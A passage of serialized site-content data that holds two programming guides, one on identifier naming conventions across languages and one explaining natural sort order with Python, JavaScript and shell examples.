calculate_total():\n    pass\nMAX_RETRY_COUNT = 3\n",[143,156502,156503,156508,156513,156518],{"__ignoreMap":141},[1560,156504,156505],{"class":1562,"line":1563},[1560,156506,156507],{},"first_name = \"Alice\"\n",[1560,156509,156510],{"class":1562,"line":337},[1560,156511,156512],{},"def calculate_total():\n",[1560,156514,156515],{"class":1562,"line":343},[1560,156516,156517],{},"    pass\n",[1560,156519,156520],{"class":1562,"line":365},[1560,156521,156522],{},"MAX_RETRY_COUNT = 3\n",[16,156524,156525,156527],{},[47,156526,156463],{}," Python, Ruby, Rust (snake_case for functions and variables), SQL",[33,156529,38595],{"id":38595},[16,156531,156532],{},"Words are joined with hyphens, all lowercase.",[135,156534,156536],{"className":1554,"code":156535,"language":1556,"meta":141,"style":141},".user-profile {}\nfont-size: 16px;\n",[143,156537,156538,156545],{"__ignoreMap":141},[1560,156539,156540,156543],{"class":1562,"line":1563},[1560,156541,156542],{"class":1566},".user-profile",[1560,156544,100279],{"class":1570},[1560,156546,156547,156549],{"class":1562,"line":337},[1560,156548,72075],{"class":2484},[1560,156550,17861],{"class":1570},[16,156552,156553,156555],{},[47,156554,156463],{}," CSS class names, HTML attributes, URL slugs, file names in many JavaScript projects",[11,156557,156559],{"id":156558},"language-by-language-recommendations","Language-by-Language Recommendations",[16,156561,156562],{},"Every language has community conventions. Following them makes your code feel natural to other developers in that ecosystem.",[193,156564,156565,156581],{},[196,156566,156567],{},[199,156568,156569,156571,156574,156577,156579],{},[202,156570,9824],{},[202,156572,156573],{},"Variables & Functions",[202,156575,156576],{},"Classes & Types",[202,156578,38590],{},[202,156580,25083],{},[211,156582,156583,156595,156607,156619,156633,156645,156657,156669],{},[199,156584,156585,156587,156589,156591,156593],{},[216,156586,9860],{},[216,156588,23337],{},[216,156590,27917],{},[216,156592,38579],{},[216,156594,38595],{},[199,156596,156597,156599,156601,156603,156605],{},[216,156598,110135],{},[216,156600,23337],{},[216,156602,27917],{},[216,156604,38579],{},[216,156606,38595],{},[199,156608,156609,156611,156613,156615,156617],{},[216,156610,9840],{},[216,156612,23347],{},[216,156614,27917],{},[216,156616,38579],{},[216,156618,23347],{},[199,156620,156621,156623,156626,156629,156631],{},[216,156622,9900],{},[216,156624,156625],{},"camelCase (unexported)",[216,156627,156628],{},"PascalCase (exported)",[216,156630,23337],{},[216,156632,23347],{},[199,156634,156635,156637,156639,156641,156643],{},[216,156636,9920],{},[216,156638,23347],{},[216,156640,27917],{},[216,156642,38579],{},[216,156644,23347],{},[199,156646,156647,156649,156651,156653,156655],{},[216,156648,9880],{},[216,156650,23337],{},[216,156652,27917],{},[216,156654,38579],{},[216,156656,27917],{},[199,156658,156659,156661,156663,156665,156667],{},[216,156660,23420],{},[216,156662,23337],{},[216,156664,27917],{},[216,156666,27917],{},[216,156668,27917],{},[199,156670,156671,156673,156675,156677,156679],{},[216,156672,23440],{},[216,156674,23347],{},[216,156676,27917],{},[216,156678,38579],{},[216,156680,23347],{},[11,156682,156684],{"id":156683},"variables-vs-constants-vs-files","Variables vs Constants vs Files",[16,156686,156687],{},"The same language often uses different conventions for different categories of identifiers.",[16,156689,156690,156693,156694,156696],{},[47,156691,156692],{},"Variables and functions"," follow the dominant style of the language (camelCase for JS, snake_case for Python). ",[47,156695,38590],{}," almost always use SCREAMING_SNAKE_CASE across all languages:",[135,156698,156700],{"className":1607,"code":156699,"language":1609,"meta":141,"style":141},"const MAX_CONNECTIONS = 100;\nconst API_BASE_URL = \"https:\u002F\u002Fapi.example.com\";\n",[143,156701,156702,156715],{"__ignoreMap":141},[1560,156703,156704,156706,156709,156711,156713],{"class":1562,"line":1563},[1560,156705,8180],{"class":1669},[1560,156707,156708],{"class":1576}," MAX_CONNECTIONS",[1560,156710,8186],{"class":1669},[1560,156712,35878],{"class":1576},[1560,156714,2228],{"class":1570},[1560,156716,156717,156719,156722,156724,156727],{"class":1562,"line":337},[1560,156718,8180],{"class":1669},[1560,156720,156721],{"class":1576}," API_BASE_URL",[1560,156723,8186],{"class":1669},[1560,156725,156726],{"class":5634}," \"https:\u002F\u002Fapi.example.com\"",[1560,156728,2228],{"class":1570},[16,156730,156731,156734,156735,1459,156738,156741,156742,156745,156746,9368],{},[47,156732,156733],{},"File names"," are a common source of confusion. JavaScript projects typically use kebab-case for files (",[143,156736,156737],{},"user-profile.vue",[143,156739,156740],{},"api-client.ts","), even though the code inside uses camelCase or PascalCase. Python projects use snake_case (",[143,156743,156744],{},"user_profile.py","). Java and C# use PascalCase to match the class name (",[143,156747,156748],{},"UserProfile.java",[11,156750,156752],{"id":156751},"mixed-conventions-in-practice","Mixed Conventions in Practice",[16,156754,156755],{},"Some frameworks require mixing conventions. Here are the most common scenarios.",[33,156757,156759],{"id":156758},"react-component-files","React Component Files",[16,156761,156762],{},"React components use PascalCase for the component name but kebab-case for the file name:",[135,156764,156767],{"className":156765,"code":156766,"language":140},[138],"Components:\n  user-profile.tsx → exports UserProfile\n  navigation-bar.tsx → exports NavBar\n",[143,156768,156766],{"__ignoreMap":141},[16,156770,156771],{},"This feels contradictory, but each convention serves a purpose: kebab-case file names work well with URL-based tooling and case-insensitive file systems, while PascalCase component names follow JSX requirements.",[33,156773,156775],{"id":156774},"go-visibility-rules","Go Visibility Rules",[16,156777,156778],{},"In Go, the capitalization of the first letter controls visibility:",[135,156780,156782],{"className":39424,"code":156781,"language":39417,"meta":141,"style":141},"type User struct {}      \u002F\u002F exported (public)\ntype userSession struct {} \u002F\u002F unexported (private)\n\nfunc GetUserID() int {}   \u002F\u002F exported\nfunc validateInput() {}   \u002F\u002F unexported\n",[143,156783,156784,156789,156794,156798,156803],{"__ignoreMap":141},[1560,156785,156786],{"class":1562,"line":1563},[1560,156787,156788],{},"type User struct {}      \u002F\u002F exported (public)\n",[1560,156790,156791],{"class":1562,"line":337},[1560,156792,156793],{},"type userSession struct {} \u002F\u002F unexported (private)\n",[1560,156795,156796],{"class":1562,"line":343},[1560,156797,1702],{"emptyLinePlaceholder":363},[1560,156799,156800],{"class":1562,"line":365},[1560,156801,156802],{},"func GetUserID() int {}   \u002F\u002F exported\n",[1560,156804,156805],{"class":1562,"line":889},[1560,156806,156807],{},"func validateInput() {}   \u002F\u002F unexported\n",[16,156809,156810],{},"This is not a style choice — it is a language rule. The convention directly affects program behavior.",[33,156812,156814],{"id":156813},"database-columns-vs-application-code","Database Columns vs Application Code",[16,156816,156817],{},"API responses often arrive in camelCase (from JSON), but database columns frequently use snake_case. You may need to transform names at the boundary:",[135,156819,156821],{"className":8259,"code":156820,"language":8261,"meta":141,"style":141},"# JSON arrives with camelCase\n{\"firstName\": \"Alice\", \"lastName\": \"Smith\"}\n\n# Python model uses snake_case\nfirst_name = data[\"firstName\"]\nlast_name = data[\"lastName\"]\n",[143,156822,156823,156828,156833,156837,156842,156846],{"__ignoreMap":141},[1560,156824,156825],{"class":1562,"line":1563},[1560,156826,156827],{},"# JSON arrives with camelCase\n",[1560,156829,156830],{"class":1562,"line":337},[1560,156831,156832],{},"{\"firstName\": \"Alice\", \"lastName\": \"Smith\"}\n",[1560,156834,156835],{"class":1562,"line":343},[1560,156836,1702],{"emptyLinePlaceholder":363},[1560,156838,156839],{"class":1562,"line":365},[1560,156840,156841],{},"# Python model uses snake_case\n",[1560,156843,156844],{"class":1562,"line":889},[1560,156845,23546],{},[1560,156847,156848],{"class":1562,"line":1710},[1560,156849,23551],{},[11,156851,156853],{"id":156852},"the-importance-of-team-conventions","The Importance of Team Conventions",[16,156855,156856],{},"Community conventions provide a starting point, but team agreements override them. If your team decides on a style, document it and enforce it with tooling.",[16,156858,156859,156862],{},[47,156860,156861],{},"Linters and formatters"," are the most effective way to maintain consistency. ESLint can enforce camelCase variables. Pylint can enforce snake_case in Python. Prettier can normalize file naming.",[16,156864,156865],{},"A naming rule that is automated is a rule that is followed. A rule that relies on memory and code review will drift within weeks.",[11,156867,1355],{"id":1354},[41,156869,156870,156873,156876,156879,156882,156885],{},[44,156871,156872],{},"Consistent naming removes friction — your brain skips the decode step and reads logic directly.",[44,156874,156875],{},"Each language has dominant conventions; follow them unless your team agrees otherwise.",[44,156877,156878],{},"Constants use SCREAMING_SNAKE_CASE in nearly every language.",[44,156880,156881],{},"File names and code identifiers often follow different conventions — that is normal.",[44,156883,156884],{},"Mixed conventions (like React's kebab-case files + PascalCase components) are common and practical.",[44,156886,156887],{},"Automate enforcement with linters and formatters rather than relying on code review alone.",[11,156889,286],{"id":285},[16,156891,156892],{},"Need to convert naming styles quickly? These tools help:",[41,156894,156895,156900],{},[44,156896,156897,156899],{},[98,156898,23816],{"href":23815}," — Switch between camelCase, snake_case, PascalCase, and kebab-case instantly",[44,156901,156902,156906],{},[98,156903,156905],{"href":156904},"\u002Ftools\u002Fslug-generator","Slug Generator"," — Create URL-friendly kebab-case slugs from any text",[11,156908,321],{"id":320},[41,156910,156911,156916],{},[44,156912,156913,156915],{},[98,156914,39667],{"href":23854}," — Deep comparison of the two most debated naming styles",[44,156917,156918,23835],{},[98,156919,23834],{"href":23833},[2043,156921,156922],{},"html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}",{"title":141,"searchDepth":337,"depth":337,"links":156924},[156925,156926,156932,156933,156934,156939,156940,156941,156942],{"id":156390,"depth":337,"text":156391},{"id":156407,"depth":337,"text":156408,"children":156927},[156928,156929,156930,156931],{"id":156414,"depth":343,"text":23337},{"id":156467,"depth":343,"text":27917},{"id":23347,"depth":343,"text":23347},{"id":38595,"depth":343,"text":38595},{"id":156558,"depth":337,"text":156559},{"id":156683,"depth":337,"text":156684},{"id":156751,"depth":337,"text":156752,"children":156935},[156936,156937,156938],{"id":156758,"depth":343,"text":156759},{"id":156774,"depth":343,"text":156775},{"id":156813,"depth":343,"text":156814},{"id":156852,"depth":337,"text":156853},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Learn when to use camelCase, PascalCase, snake_case, and kebab-case — a practical guide to naming conventions across languages.",{"immutable":363},{"title":156385,"description":156943},"guides\u002Fnaming-conventions-guide","39acaf2WcNSpg2rILPCPEUUeu2jWEFxpIQcn_vBdNWw",{"id":156949,"title":156950,"body":156951,"date":2070,"description":157735,"extension":361,"meta":157736,"navigation":363,"path":157739,"readingTime":1710,"seo":157740,"stem":157741,"__hash__":157742},"guides\u002Fguides\u002Fnatural-sort-order-explained.md","Natural Sort Order Explained: Why 10 Comes After 2, Not Before",{"type":8,"value":156952,"toc":157718},[156953,156957,156978,156984,156987,156991,157006,157047,157050,157053,157057,157060,157103,157106,157110,157117,157135,157138,157140,157156,157169,157183,157199,157203,157205,157212,157241,157243,157246,157565,157567,157576,157607,157609,157626,157638,157659,157669,157671,157692,157694,157700,157702,157715],[11,156954,156956],{"id":156955},"what-is-natural-sort-order","What Is Natural Sort Order?",[16,156958,156959,156960,156963,156964,156967,156968,142725,156970,156972,156973,1856,156975,156977],{},"Natural sort order (also called \"human sort\" or \"alphanumeric sort\") arranges items the way people expect, not the way computers default to. The classic example: alphabetical sorting places ",[143,156961,156962],{},"file10.txt"," before ",[143,156965,156966],{},"file2.txt"," because it compares character by character — and ",[143,156969,3585],{},[143,156971,10099],{},". Natural sort recognizes that ",[143,156974,36197],{},[143,156976,10099],{}," are numbers and orders them by value instead.",[135,156979,156982],{"className":156980,"code":156981,"language":140},[138],"Alphabetical:  file1.txt, file10.txt, file2.txt, file20.txt\nNatural:       file1.txt, file2.txt, file10.txt, file20.txt\n",[143,156983,156981],{"__ignoreMap":141},[16,156985,156986],{},"The intuition is simple: read the string the way a human would, treating consecutive digit characters as a single numeric value.",[11,156988,156990],{"id":156989},"why-standard-sorting-fails","Why Standard Sorting Fails",[16,156992,156993,156994,91259,156996,156998,156999,1856,157002,157005],{},"Computer sorting works by comparing character codes. In ASCII and Unicode, ",[143,156995,5285],{},[143,156997,114357],{}," have codes 48 through 57. When a sort algorithm compares ",[143,157000,157001],{},"file10",[143,157003,157004],{},"file2",", it examines characters one at a time:",[77,157007,157008,157016,157022,157029,157035],{},[44,157009,157010,23755,157013,157015],{},[143,157011,157012],{},"f",[143,157014,157012],{}," — equal",[44,157017,157018,23755,157020,157015],{},[143,157019,7975],{},[143,157021,7975],{},[44,157023,157024,23755,157027,157015],{},[143,157025,157026],{},"l",[143,157028,157026],{},[44,157030,157031,23755,157033,157015],{},[143,157032,96224],{},[143,157034,96224],{},[44,157036,157037,23755,157039,23567,157041,157043,157044,157046],{},[143,157038,3585],{},[143,157040,10099],{},[143,157042,3585],{}," is less, so ",[143,157045,157001],{}," wins",[16,157048,157049],{},"The algorithm never looks beyond that first digit. From the computer's perspective, it did exactly what was asked. The problem is that what was asked does not match what humans expect.",[16,157051,157052],{},"This matters anywhere users see sorted lists: file explorers, version numbers, chapter titles, product codes with embedded numbers.",[11,157054,157056],{"id":157055},"how-natural-sort-works","How Natural Sort Works",[16,157058,157059],{},"A natural sort algorithm splits each string into alternating text and number tokens, then compares token by token:",[193,157061,157062,157072],{},[196,157063,157064],{},[199,157065,157066,157069],{},[202,157067,157068],{},"String",[202,157070,157071],{},"Tokens",[211,157073,157074,157089],{},[199,157075,157076,157080],{},[216,157077,157078],{},[143,157079,156962],{},[216,157081,157082,6841,157084,6841,157086],{},[143,157083,110447],{},[143,157085,36197],{},[143,157087,157088],{},".txt",[199,157090,157091,157095],{},[216,157092,157093],{},[143,157094,156966],{},[216,157096,157097,6841,157099,6841,157101],{},[143,157098,110447],{},[143,157100,10099],{},[143,157102,157088],{},[16,157104,157105],{},"When two tokens are both text, compare alphabetically. When both are numbers, compare numerically. When types differ, text sorts before numbers (or vice versa, depending on convention).",[33,157107,157109],{"id":157108},"token-by-token-comparison","Token-by-Token Comparison",[16,157111,157112,157113,1856,157115,8037],{},"Comparing ",[143,157114,156962],{},[143,157116,156966],{},[77,157118,157119,157125],{},[44,157120,157121,23755,157123,157015],{},[143,157122,110447],{},[143,157124,110447],{},[44,157126,157127,23755,157129,157131,157132,157134],{},[143,157128,36197],{},[143,157130,10099],{}," — numeric comparison: 10 > 2, so ",[143,157133,156966],{}," comes first",[16,157136,157137],{},"That is the entire algorithm. The key insight is recognizing digit sequences and treating them as integers.",[11,157139,103922],{"id":103921},[16,157141,157142,157145,157146,1459,157149,1459,157152,157155],{},[47,157143,157144],{},"File names."," Versioned files like ",[143,157147,157148],{},"report_q1.pdf",[143,157150,157151],{},"report_q2.pdf",[143,157153,157154],{},"report_q10.pdf"," look wrong under alphabetical sort. Natural sort puts them in the expected sequence.",[16,157157,157158,157161,157162,23755,157165,157168],{},[47,157159,157160],{},"Version numbers."," While full semver parsing (like ",[143,157163,157164],{},"1.2.10",[143,157166,157167],{},"1.2.9",") requires additional logic, natural sort handles the simple case where numbers are embedded in strings.",[16,157170,157171,157174,157175,1459,157177,1459,157179,157182],{},[47,157172,157173],{},"Numbered lists."," Tutorials, legal clauses, and outlines often use mixed numbering: ",[143,157176,114697],{},[143,157178,114709],{},[143,157180,157181],{},"Step 10",". Natural sort keeps them in order.",[16,157184,157185,157188,157189,1459,157192,1459,157195,157198],{},[47,157186,157187],{},"Product SKUs."," Codes like ",[143,157190,157191],{},"PROD-100",[143,157193,157194],{},"PROD-200",[143,157196,157197],{},"PROD-1010"," sort correctly when digits are compared by value.",[11,157200,157202],{"id":157201},"natural-sort-in-programming-languages","Natural Sort in Programming Languages",[33,157204,9840],{"id":8261},[16,157206,157207,157208,157211],{},"Python 3 does not have a built-in natural sort, but the ",[143,157209,157210],{},"natsort"," library handles it:",[135,157213,157215],{"className":8259,"code":157214,"language":8261,"meta":141,"style":141},"from natsort import natsorted\n\nfiles = ['file10.txt', 'file2.txt', 'file1.txt']\nprint(natsorted(files))\n# ['file1.txt', 'file2.txt', 'file10.txt']\n",[143,157216,157217,157222,157226,157231,157236],{"__ignoreMap":141},[1560,157218,157219],{"class":1562,"line":1563},[1560,157220,157221],{},"from natsort import natsorted\n",[1560,157223,157224],{"class":1562,"line":337},[1560,157225,1702],{"emptyLinePlaceholder":363},[1560,157227,157228],{"class":1562,"line":343},[1560,157229,157230],{},"files = ['file10.txt', 'file2.txt', 'file1.txt']\n",[1560,157232,157233],{"class":1562,"line":365},[1560,157234,157235],{},"print(natsorted(files))\n",[1560,157237,157238],{"class":1562,"line":889},[1560,157239,157240],{},"# ['file1.txt', 'file2.txt', 'file10.txt']\n",[33,157242,9860],{"id":1609},[16,157244,157245],{},"A simple implementation tokenizes and compares:",[135,157247,157249],{"className":1607,"code":157248,"language":1609,"meta":141,"style":141},"function naturalSort(a, b) {\n  const ax = [], bx = [];\n  a.replace(\u002F(\\d+)|(\\D+)\u002Fg, (_, $1, $2) => { ax.push([$1 || Infinity, $2 || '']) });\n  b.replace(\u002F(\\d+)|(\\D+)\u002Fg, (_, $1, $2) => { bx.push([$1 || Infinity, $2 || '']) });\n\n  while (ax.length && bx.length) {\n    const an = ax.shift();\n    const bn = bx.shift();\n    const nn = (an[0] - bn[0]) || an[1].localeCompare(bn[1]);\n    if (nn) return nn;\n  }\n  return ax.length - bx.length;\n}\n",[143,157250,157251,157268,157287,157363,157431,157435,157453,157469,157484,157529,157541,157545,157561],{"__ignoreMap":141},[1560,157252,157253,157255,157258,157260,157262,157264,157266],{"class":1562,"line":1563},[1560,157254,8648],{"class":1669},[1560,157256,157257],{"class":1566}," naturalSort",[1560,157259,1688],{"class":1570},[1560,157261,98],{"class":2219},[1560,157263,1459],{"class":1570},[1560,157265,28973],{"class":2219},[1560,157267,9345],{"class":1570},[1560,157269,157270,157272,157275,157277,157280,157283,157285],{"class":1562,"line":337},[1560,157271,28057],{"class":1669},[1560,157273,157274],{"class":1576}," ax",[1560,157276,8186],{"class":1669},[1560,157278,157279],{"class":1570}," [], ",[1560,157281,157282],{"class":1576},"bx",[1560,157284,8186],{"class":1669},[1560,157286,140005],{"class":1570},[1560,157288,157289,157292,157294,157296,157298,157300,157303,157305,157307,157309,157311,157314,157316,157318,157320,157322,157324,157326,157328,157331,157333,157336,157338,157340,157343,157345,157348,157350,157353,157356,157358,157360],{"class":1562,"line":343},[1560,157290,157291],{"class":1570},"  a.",[1560,157293,22721],{"class":1566},[1560,157295,1688],{"class":1570},[1560,157297,9423],{"class":5634},[1560,157299,1688],{"class":11919},[1560,157301,157302],{"class":1576},"\\d",[1560,157304,9448],{"class":1669},[1560,157306,1525],{"class":11919},[1560,157308,7334],{"class":1669},[1560,157310,1688],{"class":11919},[1560,157312,157313],{"class":1576},"\\D",[1560,157315,9448],{"class":1669},[1560,157317,1525],{"class":11919},[1560,157319,9423],{"class":5634},[1560,157321,22733],{"class":1669},[1560,157323,38863],{"class":1570},[1560,157325,23056],{"class":2219},[1560,157327,1459],{"class":1570},[1560,157329,157330],{"class":2219},"$1",[1560,157332,1459],{"class":1570},[1560,157334,157335],{"class":2219},"$2",[1560,157337,1733],{"class":1570},[1560,157339,11503],{"class":1669},[1560,157341,157342],{"class":1570}," { ax.",[1560,157344,38129],{"class":1566},[1560,157346,157347],{"class":1570},"([$1 ",[1560,157349,82344],{"class":1669},[1560,157351,157352],{"class":1576}," Infinity",[1560,157354,157355],{"class":1570},", $2 ",[1560,157357,82344],{"class":1669},[1560,157359,81655],{"class":5634},[1560,157361,157362],{"class":1570},"]) });\n",[1560,157364,157365,157368,157370,157372,157374,157376,157378,157380,157382,157384,157386,157388,157390,157392,157394,157396,157398,157400,157402,157404,157406,157408,157410,157412,157415,157417,157419,157421,157423,157425,157427,157429],{"class":1562,"line":365},[1560,157366,157367],{"class":1570},"  b.",[1560,157369,22721],{"class":1566},[1560,157371,1688],{"class":1570},[1560,157373,9423],{"class":5634},[1560,157375,1688],{"class":11919},[1560,157377,157302],{"class":1576},[1560,157379,9448],{"class":1669},[1560,157381,1525],{"class":11919},[1560,157383,7334],{"class":1669},[1560,157385,1688],{"class":11919},[1560,157387,157313],{"class":1576},[1560,157389,9448],{"class":1669},[1560,157391,1525],{"class":11919},[1560,157393,9423],{"class":5634},[1560,157395,22733],{"class":1669},[1560,157397,38863],{"class":1570},[1560,157399,23056],{"class":2219},[1560,157401,1459],{"class":1570},[1560,157403,157330],{"class":2219},[1560,157405,1459],{"class":1570},[1560,157407,157335],{"class":2219},[1560,157409,1733],{"class":1570},[1560,157411,11503],{"class":1669},[1560,157413,157414],{"class":1570}," { bx.",[1560,157416,38129],{"class":1566},[1560,157418,157347],{"class":1570},[1560,157420,82344],{"class":1669},[1560,157422,157352],{"class":1576},[1560,157424,157355],{"class":1570},[1560,157426,82344],{"class":1669},[1560,157428,81655],{"class":5634},[1560,157430,157362],{"class":1570},[1560,157432,157433],{"class":1562,"line":889},[1560,157434,1702],{"emptyLinePlaceholder":363},[1560,157436,157437,157439,157442,157444,157446,157449,157451],{"class":1562,"line":1710},[1560,157438,38062],{"class":1669},[1560,157440,157441],{"class":1570}," (ax.",[1560,157443,9418],{"class":1576},[1560,157445,39056],{"class":1669},[1560,157447,157448],{"class":1570}," bx.",[1560,157450,9418],{"class":1576},[1560,157452,9345],{"class":1570},[1560,157454,157455,157457,157460,157462,157465,157467],{"class":1562,"line":1717},[1560,157456,9385],{"class":1669},[1560,157458,157459],{"class":1576}," an",[1560,157461,8186],{"class":1669},[1560,157463,157464],{"class":1570}," ax.",[1560,157466,22709],{"class":1566},[1560,157468,90158],{"class":1570},[1560,157470,157471,157473,157476,157478,157480,157482],{"class":1562,"line":1747},[1560,157472,9385],{"class":1669},[1560,157474,157475],{"class":1576}," bn",[1560,157477,8186],{"class":1669},[1560,157479,157448],{"class":1570},[1560,157481,22709],{"class":1566},[1560,157483,90158],{"class":1570},[1560,157485,157486,157488,157491,157493,157496,157498,157500,157502,157505,157507,157509,157511,157514,157516,157518,157521,157524,157526],{"class":1562,"line":2507},[1560,157487,9385],{"class":1669},[1560,157489,157490],{"class":1576}," nn",[1560,157492,8186],{"class":1669},[1560,157494,157495],{"class":1570}," (an[",[1560,157497,5285],{"class":1576},[1560,157499,13484],{"class":1570},[1560,157501,9412],{"class":1669},[1560,157503,157504],{"class":1570}," bn[",[1560,157506,5285],{"class":1576},[1560,157508,39106],{"class":1570},[1560,157510,82344],{"class":1669},[1560,157512,157513],{"class":1570}," an[",[1560,157515,3585],{"class":1576},[1560,157517,24393],{"class":1570},[1560,157519,157520],{"class":1566},"localeCompare",[1560,157522,157523],{"class":1570},"(bn[",[1560,157525,3585],{"class":1576},[1560,157527,157528],{"class":1570},"]);\n",[1560,157530,157531,157533,157536,157538],{"class":1562,"line":2524},[1560,157532,11527],{"class":1669},[1560,157534,157535],{"class":1570}," (nn) ",[1560,157537,28313],{"class":1669},[1560,157539,157540],{"class":1570}," nn;\n",[1560,157542,157543],{"class":1562,"line":2529},[1560,157544,4959],{"class":1570},[1560,157546,157547,157549,157551,157553,157555,157557,157559],{"class":1562,"line":2534},[1560,157548,9350],{"class":1669},[1560,157550,157464],{"class":1570},[1560,157552,9418],{"class":1576},[1560,157554,22908],{"class":1669},[1560,157556,157448],{"class":1570},[1560,157558,9418],{"class":1576},[1560,157560,2228],{"class":1570},[1560,157562,157563],{"class":1562,"line":2542},[1560,157564,1585],{"class":1570},[33,157566,24247],{"id":24246},[16,157568,421,157569,157571,157572,157575],{},[143,157570,100488],{}," command supports natural ordering with ",[143,157573,157574],{},"-V"," (version sort):",[135,157577,157579],{"className":6951,"code":157578,"language":6953,"meta":141,"style":141},"ls | sort -V\n# file1.txt\n# file2.txt\n# file10.txt\n",[143,157580,157581,157592,157597,157602],{"__ignoreMap":141},[1560,157582,157583,157585,157587,157589],{"class":1562,"line":1563},[1560,157584,8991],{"class":1566},[1560,157586,17408],{"class":1669},[1560,157588,119908],{"class":1566},[1560,157590,157591],{"class":1576}," -V\n",[1560,157593,157594],{"class":1562,"line":337},[1560,157595,157596],{"class":1649},"# file1.txt\n",[1560,157598,157599],{"class":1562,"line":343},[1560,157600,157601],{"class":1649},"# file2.txt\n",[1560,157603,157604],{"class":1562,"line":365},[1560,157605,157606],{"class":1649},"# file10.txt\n",[11,157608,89111],{"id":89110},[16,157610,157611,6841,157614,23755,157617,157620,157621,1856,157623,157625],{},[47,157612,157613],{},"Leading zeros.",[143,157615,157616],{},"file001.txt",[143,157618,157619],{},"file1.txt"," — should leading zeros be treated as padding or as significant digits? Most natural sort implementations treat ",[143,157622,14091],{},[143,157624,3585],{}," as equivalent, but some preserve leading zeros as a tiebreaker.",[16,157627,157628,6841,157631,23755,157634,157637],{},[47,157629,157630],{},"Negative numbers.",[143,157632,157633],{},"temp-5.txt",[143,157635,157636],{},"temp10.txt"," — deciding whether the hyphen is part of the number or a separator changes the result.",[16,157639,157640,6841,157643,23755,157646,157649,157650,157652,157653,1459,157655,1459,157657,468],{},[47,157641,157642],{},"Decimal numbers.",[143,157644,157645],{},"v1.10",[143,157647,157648],{},"v1.2"," — should the dot be a decimal point or a token separator? Most natural sort implementations treat the dot as a separator, splitting ",[143,157651,154801],{}," into tokens ",[143,157654,3585],{},[143,157656,468],{},[143,157658,36197],{},[16,157660,157661,157664,157665,157668],{},[47,157662,157663],{},"Unicode digits."," Full-width digits like ",[143,157666,157667],{},"２"," (U+FF12) may not be recognized by simple regex-based implementations.",[11,157670,1355],{"id":1354},[41,157672,157673,157676,157683,157686,157689],{},[44,157674,157675],{},"Natural sort compares digit sequences numerically while comparing text alphabetically — matching human expectations",[44,157677,157678,157679,142725,157681],{},"Standard alphabetical sort treats digits as characters, so ",[143,157680,36197],{},[143,157682,10099],{},[44,157684,157685],{},"The algorithm splits strings into text and number tokens, then compares token by token",[44,157687,157688],{},"Leading zeros, negative signs, and decimal points are edge cases where implementations differ",[44,157690,157691],{},"Most programming languages require a library or custom function for natural sort",[11,157693,286],{"id":285},[16,157695,157696,157697,157699],{},"Sort any list with natural order using our free ",[98,157698,6341],{"href":6340},". Paste your items, select the sorting mode, and get instantly organized results — no code needed.",[11,157701,321],{"id":320},[41,157703,157704,157709],{},[44,157705,157706,157708],{},[98,157707,6352],{"href":6351}," — overview of all sorting modes and when to use each",[44,157710,157711,157714],{},[98,157712,157713],{"href":6382},"Alphabetical Sort Algorithms"," — how standard sorting works under the hood",[2043,157716,157717],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sA_wV, html code.shiki .sA_wV{--shiki-default:#032F62;--shiki-dark:#DBEDFF}html pre.shiki code .sJ8bj, html code.shiki 